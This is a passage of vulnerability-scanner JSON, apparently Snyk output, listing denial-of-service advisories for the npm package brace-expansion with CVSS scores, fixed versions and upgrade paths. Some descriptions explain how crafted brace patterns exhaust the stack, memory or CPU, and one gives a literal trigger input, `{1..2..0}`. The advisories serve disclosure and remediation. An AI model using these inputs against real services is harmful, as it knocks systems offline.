"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
